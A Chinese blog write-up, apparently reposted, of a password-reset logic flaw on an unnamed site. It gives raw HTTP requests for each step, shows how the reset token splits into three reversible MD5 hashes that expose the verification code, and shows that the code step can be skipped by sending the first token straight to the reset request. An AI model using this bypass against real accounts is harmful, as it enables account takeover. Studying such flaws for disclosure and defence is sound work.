偶然间挖了一个漏洞是密码重置,挖掘过程很有趣,可以参考下。
在说明之前我们可以先走下正常流程,这样才方便查漏~
第一步骤:
正常填写完,点击下一步发送请求:
- POST / [URI] HTTP / 1.1 Host: [Host] User - Agent: Mozilla / 5.0(Macintosh; Intel Mac OS X 10.12; rv: 52.0) Gecko / 20100101 Firefox / 52.0 Accept: application / json,
- text / javascript,
- *
- /*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- X-Requested-With: XMLHttpRequest
- Referer: [Referer]
- Content-Length: 37
- Cookie: [Cookie]
- X-Forwarded-For: 127.0.0.1
- Connection: close
- userName=用户名/手机号/邮箱&code=验证码*/
获得对应的响应报文:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=utf-8
- Content-Length: 217
- Connection: close
- Server: nginx/1.12.2
- {"code":200,"data":{"username":"用户名"
- ,"mobile":"手机号","email":"邮箱","token":"3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6"},"msg":"ok"}
第二步骤:
获取验证码 -> 输入验证码 - 进入第三步骤:
输入验证码进入第三步骤的请求包:
- POST / [URI] HTTP / 1.1 Host: [Host] User - Agent: Mozilla / 5.0(Macintosh; Intel Mac OS X 10.12; rv: 52.0) Gecko / 20100101 Firefox / 52.0 Accept: application / json,
- text / javascript,
- *
- /*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- X-Requested-With: XMLHttpRequest
- Referer: [Referer]
- Content-Length: 133
- Cookie: [Cookie]
- X-Forwarded-For: 127.0.0.1
- Connection: close
- receiver=email&token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685*/
第三步骤重置密码请求包:
- POST / [URI] HTTP / 1.1 Host: [Host] User - Agent: Mozilla / 5.0(Macintosh; Intel Mac OS X 10.12; rv: 52.0) Gecko / 20100101 Firefox / 52.0 Accept: application / json,
- text / javascript,
- *
- /*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- X-Requested-With: XMLHttpRequest
- Referer: [Referer]
- Content-Length: 133
- Cookie: [Cookie]
- X-Forwarded-For: 127.0.0.1
- Connection: close
- token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&pwd=mstsecsb123&checkPwd=mstsecsb123*/
因为这里主要的目标是逻辑漏洞,所以其他类型的就不作研究~
1. 第一步骤返回包中能获取到的东西
名字 | 类型 |
---|---|
username | 正常 [明文] |
mobile | 打码 [138***888] |
打码 [123***1@..] | |
token | 正常 [加密处理过] |
这里先给 token 划上疑问 > 其是否可以逆向?
这里的 token 值跟 md5 加密很相似,但是长度不一样 (MD5 长度为 16 位 / 32 位)
所以大胆的猜想这里的 token 值可能是由多个 md5 拼接组成
得到 token 的值为 96 位除以根据 MD5 的长度 (16 位 / 32 位),得出可能是由三组或者六组组成,这里我很幸运因为我按照三组的方式解密居然发现解密出来了,这里先按照 32 位分割:
然后丢去解密:
Md5 | Text |
---|---|
3c6e0b8a9c15224a8228b9a98ca1531d | key [用户名] |
f72f78a365657d56853b6867fb37dc3c | 6685 [时间戳] |
444bcb3a3fcf8389296c49467f27e1d6 | ok [返回消息正文"msg":"ok"] |
结论: Token 可逆向
2. 根据结论分析第二步骤验证码是否跟 token 有关联:
- token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685
结论: 直接从逆向 token 操作中可以了解到两者之间是有关联的有 token 就能知道重置密码的验证码
3. 根据结论分析第二步骤是否是必要操作:
这里直接根据第一步骤获取的内容带入到第三步骤,完全可以成功重置密码,发现完全可以绕过第二步骤的验证。
结论: 直接把第一步返回的 token 带入第三步骤即可重置密码
来源: http://www.bubuko.com/infodetail-2441545.html